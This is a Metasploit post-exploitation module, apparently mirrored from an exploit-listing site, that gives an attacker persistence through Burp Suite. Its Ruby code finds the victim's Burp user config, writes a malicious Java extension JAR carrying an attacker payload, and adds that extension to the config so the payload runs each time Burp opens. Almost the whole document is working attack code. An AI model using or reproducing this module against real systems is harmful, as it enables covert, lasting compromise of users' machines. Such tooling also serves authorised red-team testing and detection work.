Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-PERSISTENCE-BURP_EXTENSION-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
require 'open3'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix # whoami
  include Msf::Auxiliary::Report
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::Windows::Registry
  include Msf::Exploit::Local::Persistence

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Burp Extension Persistence',
        'Description' => %q{
          This module adds a java based malicious extension to the Burp Suite configuration file.
          When burp is opened, the extension will be loaded and the payload will be executed.

          Tested against Burp Suite Community Edition v2024.9.4, on Ubuntu Desktop 24.04.
          Tested against Burp Suite Community Edition v2025.12.3 on Windows 10.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die' # Module
        ],
        'DisclosureDate' => '2025-01-01',
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Privileged' => false,
        'References' => [
          [ 'URL', 'https://portswigger.net/burp/documentation/desktop/extensions/creating' ],
          [ 'URL', 'https://portswigger.net/burp/documentation/desktop/troubleshooting/launch-from-command-line' ],
          ['ATT&CK', Mitre::Attack::Technique::T1176_SOFTWARE_EXTENSIONS]
        ],
        'DefaultOptions' => {
          'PrependMigrate' => true
        },
        'Targets' => [
          [
            'Java', {
              'Platform' => 'java', 'Arch' => [ARCH_JAVA]
            }
          ],
          ['Linux', { 'Platform' => 'unix', 'Arch' => [ARCH_CMD] } ],
          [
            'Windows', { 'Platform' => 'windows', 'Arch' => [ARCH_CMD] }, {
              'Payload' =>
                              { 'Space' => 8_191 - 'cmd.exe /c '.length }
            }
          ],
        ],
        'Actions' => [
          ['precompiled', { 'Description' => 'Use pre-compiled bytecode' }],
          ['build', { 'Description' => 'Build the extension locally with Gradle' }]
        ],
        'DefaultAction' => 'precompiled',
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
        },
        'DefaultTarget' => 0
      )
    )

    register_options([
      OptString.new('NAME', [ false, 'Name of the extension', '' ]),
      OptString.new('CONFIG_FILE', [ false, 'Config file location on target', '' ]),
      OptString.new('BURP_JAR', [ false, 'Location of Burp JAR file', '' ])
    ])
    register_advanced_options([
      OptString.new('GRADLE', [ false, 'Local Gradle executable', '/usr/bin/gradle' ]),
    ])
  end

  def extension_name_generator
    return datastore['NAME'] unless datastore['NAME'].blank?

    rand_text_alphanumeric(4..10)
  end

  def window_target?
    ['windows', 'win'].include? session.platform
  end

  def get_home
    return cmd_exec('cmd /c echo %USERPROFILE%').strip if window_target?

    return cmd_exec('echo ~').strip
  end

  def get_userconfig_path
    unless datastore['CONFIG_FILE'].blank?
      return nil unless file?(datastore['CONFIG_FILE'])

      return datastore['CONFIG_FILE']
    end

    home_path = get_home
    vprint_status("Home path detected as: #{home_path}")

    path = (window_target?) ? home_path + '\\AppData\\Roaming\\Burpsuite\\' : home_path + '/.BurpSuite/'
    if file?(path + 'UserConfigPro.json')
      @pro = true
      return path + 'UserConfigPro.json'
    end
    return path + 'UserConfigCommunity.json' if file?(path + 'UserConfigCommunity.json')
  end

  def get_burp_executable
    if !datastore['BURP_JAR'].blank?
      return nil unless file?(datastore['BURP_JAR'])

      return datastore['BURP_JAR']
    end

    home_path = get_home

    if @pro
      burp_exec_path = (window_target?) ? home_path + '\\AppData\\Local\\BurpSuitePro\\burpsuite_pro.jar' : home_path + '/BurpSuitePro/burpsuite_pro.jar'
      return burp_exec_path if file?(burp_exec_path)
    end
    burp_exec_path = (window_target?) ? home_path + '\\AppData\\Local\\BurpSuiteCommunity\\burpsuite_community.jar' : home_path + '/BurpSuiteCommunity/burpsuite_community.jar'
    return burp_exec_path if file?(burp_exec_path)
  end

  def modify_user_config(extension_location, extension_name)
    user_config = read_file(@userconfig_path)

    path = store_loot('burp.config.json', 'application/json', session, user_config, nil, nil)
    print_good("Config file saved in: #{path}")
    user_config_json = JSON.parse(user_config)
    extensions_config = user_config_json.dig('user_options', 'extender', 'extensions')

    fail_with Failure::PayloadFailed, 'Failed to get extension configuration' unless extensions_config

    malicious_extension = {
      'errors' => 'ui',
      'extension_file' => extension_location,
      'extension_type' => 'java',
      'loaded' => true,
      'name' => extension_name,
      'output' => 'ui',
      'use_ai' => false
    }
    extensions_config.unshift(malicious_extension)
    user_config_json['user_options']['extender']['extensions'] = extensions_config

    fail_with Failure::PayloadFailed, 'Module failed to overwrite UserConfig file' unless write_file(@userconfig_path, JSON.generate(user_config_json))
    @clean_up_rc << "upload #{path} #{@userconfig_path}\n"
  end

  def check
    if action.name == 'build'
      if File.exist?(datastore['GRADLE'])
        vprint_good('Gradle found')
      else
        print_warning('Gradle is required on the local computer running metasploit, please install it or use precompiled action')
      end
    end

    @userconfig_path = get_userconfig_path
    CheckCode::Safe("Config file not found: #{datastore['config']}") if @userconfig_path.nil?
    CheckCode::Detected("Found UserConfig file #{@userconfig_path}")
  end

  def add_extension(settings_file, extension_location, extension_name)
    # open file
    config_contents = read_file(settings_file)
    # store as loot for backup purposes
    path = store_loot('burp.config.json', 'application/json', session, config_contents, nil, nil)
    print_good("Config file saved in: #{path}")
    # read json
    begin
      config_contents = JSON.parse(config_contents)
    rescue JSON::ParserError
      fail_with(Failure::Unknown, "Failed to parse json config file: #{settings_file}")
    end
    malicious_extension = {
      'errors' => 'ui',
      'extension_file' => extension_location,
      'extension_type' => 'java',
      'loaded' => true,
      'name' => extension_name,
      'output' => 'ui'
    }
    begin
      config_contents['user_options']['extender']['extensions'] << malicious_extension
    rescue NoMethodError
      fail_with(Failure::NotFound, "Failed to find 'user_options' in config file: #{settings_file}, likely a project settings file, not a user one.")
    end
    # write json
    write_file(settings_file, JSON.pretty_generate(config_contents, { 'space' => '', 'indent' => ' ' * 4 }))
  end

  def run_local_gradle_build(extension_name)
    # Check if gradle is installed
    fail_with(Failure::NotFound, 'Gradle is not installed on the local system.') unless File.exist?(datastore['GRADLE'])

    # Define source and destination directories
    src_dir = File.join(Msf::Config.data_directory, 'exploits', 'burp_extension')
    temp_dir = Dir.mktmpdir

    # Copy necessary files to the temporary directory
    FileUtils.cp_r(File.join(src_dir, 'src'), temp_dir)
    FileUtils.cp(File.join(src_dir, 'settings.gradle'), temp_dir)
    FileUtils.cp(File.join(src_dir, 'build.gradle'), temp_dir)

    # Modify name.txt with the new extension name
    java_file = File.join(temp_dir, 'src', 'main', 'resources', 'name.txt')
    File.open(java_file, 'wb') { |file| file.puts extension_name }

    if target.name == 'Java'
      # delete the /src/main/resources/command.txt file copied over in the cp_r as its not needed
      File.delete(File.join(temp_dir, 'src', 'main', 'resources', 'command.txt'))
      java_file = File.join(temp_dir, 'src', 'main', 'resources', 'burp_extension_pload.jar')
      payload_jar = generate_payload.encoded_jar(main_class: 'burp_extension_pload')
      File.open(java_file, 'wb') { |file| file.puts payload_jar.pack }
    else
      # Modify command.txt where we put our payload command
      java_file = File.join(temp_dir, 'src', 'main', 'resources', 'command.txt')
      File.open(java_file, 'wb') { |file| file.puts payload.encoded }
    end

    # Run gradle clean build
    vprint_status("Building Burp extension jar file locally in #{temp_dir}")
    Dir.chdir(temp_dir) do
      IO.popen([datastore['GRADLE'], 'clean', 'build']) do |stdout|
        stdout.each_line { |line| vprint_line line }
      end
    end

    # Check if the jar file was created
    jar_file = File.join(temp_dir, 'build', 'libs', 'MetasploitPayloadExtension.jar')
    fail_with(Failure::NotFound, 'Failed to build burp extension') unless File.exist?(jar_file)
    print_good("Successfully built the jar file #{jar_file}")

    File.read(jar_file)
  end

  def compiled_extension(extension_name)
    # see data/exploits/burp_extension/notes.txt on how to get this content
    burp_extension_class = File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'burp_extension', 'precompiled.class'
    ))

    jar = Rex::Zip::Jar.new
    # build our manifest manually because its only one line and we don't need the extra
    # ones that metasploit's build_manifest adds. This more closely implements the gradle build command
    jar.add_file('META-INF/', '')
    jar.add_file('META-INF/MANIFEST.MF', "Manifest-Version: 1.0\r\n\r\n")
    jar.add_file('burp/', '')
    jar.add_file('burp/BurpExtender.class', burp_extension_class)
    if target.name == 'Java'
      jar.add_file('burp_extension_pload.jar', generate_payload.encoded_jar(main_class: 'burp_extension_pload').pack)
    else
      jar.add_file('command.txt', payload.encoded)
    end
    jar.add_file('name.txt', extension_name)

    jar
  end

  def install_persistence
    fail_with(Failure::BadConfig, 'WritableDir can not be blank') if writable_dir.empty?

    # RuntimeError `writable?' method does not support Windows systems
    if !window_target? && !writable?(writable_dir)
      fail_with(Failure::NotFound, "Unable to write to WritableDir: #{writable_dir}")
    end
    # get UserConfig file path
    unless @userconfig_path
      get_userconfig_path
    end

    if @userconfig_path.nil?
      fail_with(Failure::NotFound, 'User does not have a UserConfig file, likely Burp was installed but never run')
    end
    vprint_status("Burp UserConfig file: #{@userconfig_path}")

    # get Burp executable
    burp_path = get_burp_executable

    fail_with Failure::NotFound, 'Burp JAR file was not found' unless burp_path

    vprint_status("Burp JAR file: #{burp_path}")

    # create extension
    print_status('Creating extension')
    extension_name = extension_name_generator
    print_status("Using extension name: #{extension_name}")
    if window_target?
      extension_location = "#{writable_dir}\\#{extension_name}.jar"
    else
      extension_location = "#{writable_dir}/#{extension_name}.jar"
    end
    vprint_status('Creating JAR file')

    case action.name
    when 'build'
      jar = run_local_gradle_build(extension_name)
    when 'precompiled'
      jar = compiled_extension(extension_name)
    end

    # store extension on target's machine
    vprint_status("Writing malicious extension to disk: #{extension_location}")

    fail_with Failure::PayloadFailed, 'Failed to write malicious extension' unless write_file(extension_location, jar)
    @clean_up_rc << "rm #{extension_location}\n"
    # overwrite configuration
    vprint_status('Modifying Burp configuration and adding malicious extension')
    modify_user_config(extension_location, extension_name)
  end
end